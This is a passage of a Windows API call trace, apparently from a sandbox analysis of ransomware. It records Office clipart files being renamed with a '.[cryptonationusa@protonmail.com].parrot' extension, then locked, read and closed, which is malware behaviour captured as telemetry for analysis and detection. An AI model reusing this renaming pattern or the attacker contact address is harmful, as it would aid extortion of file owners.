(lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341328.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341328.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341328.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341328.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0143.087] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2df5, nNumberOfBytesToLockHigh=0x0) returned 1 [0143.087] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0143.087] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0143.089] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.089] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2cdd, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2cdd, lpOverlapped=0x0) returned 1 [0143.090] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.090] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2df5, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0143.090] CloseHandle (hObject=0x27c) returned 1 [0143.090] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341344.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341344.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341344.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341344.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0143.094] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4d85, nNumberOfBytesToLockHigh=0x0) returned 1 [0143.094] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0143.094] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0143.095] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.096] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4c6d, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4c6d, lpOverlapped=0x0) returned 1 [0143.097] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.097] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4d85, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0143.097] CloseHandle (hObject=0x27c) returned 1 [0143.097] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341439.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341439.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341439.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341439.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0143.101] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4bf0, nNumberOfBytesToLockHigh=0x0) returned 1 [0143.101] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0143.101] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0143.103] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.103] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4ad8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4ad8, lpOverlapped=0x0) returned 1 [0143.104] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.104] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4bf0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0143.104] CloseHandle (hObject=0x27c) returned 1 [0143.104] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341447.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341447.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341447.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341447.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0143.108] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x53db, nNumberOfBytesToLockHigh=0x0) returned 1 [0143.108] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0143.108] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0143.109] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.109] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x52c3, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x52c3, lpOverlapped=0x0) returned 1 [0143.111] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.111] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x53db, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0143.111] CloseHandle (hObject=0x27c) returned 1 [0143.111] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341448.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341448.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341448.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341448.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0143.116] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x756f, nNumberOfBytesToLockHigh=0x0) returned 1 [0143.116] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0143.116] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0143.163] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.163] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7457, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7457, lpOverlapped=0x0) returned 1 [0143.164] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.166] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x756f, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0143.166] CloseHandle (hObject=0x27c) returned 1 [0143.166] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341455.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341455.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0143.172] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xaafa, nNumberOfBytesToLockHigh=0x0) returned 1 [0143.172] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0143.172] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0143.174] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.174] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa9e2, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xa9e2, lpOverlapped=0x0) returned 1 [0143.178] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.179] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xaafa, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0143.179] CloseHandle (hObject=0x27c) returned 1 [0143.179] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341475.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341475.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341475.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341475.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0143.183] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3ffb, nNumberOfBytesToLockHigh=0x0) returned 1 [0143.183] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0143.183] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0143.185] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.185] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3ee3, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3ee3, lpOverlapped=0x0) returned 1 [0143.186] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.188] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3ffb, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0143.188] CloseHandle (hObject=0x27c) returned 1 [0143.189] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341499.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341499.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341499.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341499.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0143.192] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x20a2, nNumberOfBytesToLockHigh=0x0) returned 1 [0143.192] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0143.192] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0143.194] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.194] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1f8a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1f8a, lpOverlapped=0x0) returned 1 [0143.195] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.196] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x20a2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0143.196] CloseHandle (hObject=0x27c) returned 1 [0143.196] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341534.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341534.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341534.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341534.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0143.199] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5b6e, nNumberOfBytesToLockHigh=0x0) returned 1 [0143.199] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0143.199] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0143.201] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.201] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5a56, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x5a56, lpOverlapped=0x0) returned 1 [0143.202] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.203] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5b6e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0143.203] CloseHandle (hObject=0x27c) returned 1 [0143.203] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341551.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341551.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341551.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341551.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0143.207] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x705b, nNumberOfBytesToLockHigh=0x0) returned 1 [0143.207] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0143.207] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0143.209] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.209] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6f43, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x6f43, lpOverlapped=0x0) returned 1 [0143.210] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.212] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x705b, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0143.212] CloseHandle (hObject=0x27c) returned 1 [0143.212] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341554.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341554.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341554.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341554.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0143.217] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6bc0, nNumberOfBytesToLockHigh=0x0) returned 1 [0143.217] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0143.217] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0143.219] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.219] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6aa8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x6aa8, lpOverlapped=0x0) returned 1 [0143.221] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.222] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6bc0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0143.222] CloseHandle (hObject=0x27c) returned 1 [0143.222] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341557.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341557.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341557.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341557.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0143.228] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x698b, nNumberOfBytesToLockHigh=0x0) returned 1 [0143.228] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0143.228] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0143.229] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.230] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6873, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x6873, lpOverlapped=0x0) returned 1 [0143.231] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.231] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x698b, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0143.231] CloseHandle (hObject=0x27c) returned 1 [0143.234] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341559.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341559.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341559.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341559.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0143.237] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa5af, nNumberOfBytesToLockHigh=0x0) returned 1 [0143.237] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0143.237] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0143.239] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.239] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa497, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xa497, lpOverlapped=0x0) returned 1 [0143.242] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.243] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa5af, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0143.243] CloseHandle (hObject=0x27c) returned 1 [0143.243] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341561.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341561.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341561.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341561.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0143.247] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f93, nNumberOfBytesToLockHigh=0x0) returned 1 [0143.247] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0143.247] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0143.248] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.248] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e7b, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1e7b, lpOverlapped=0x0) returned 1 [0143.249] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.249] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f93, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0143.249] CloseHandle (hObject=0x27c) returned 1 [0143.250] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341634.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341634.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341634.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: 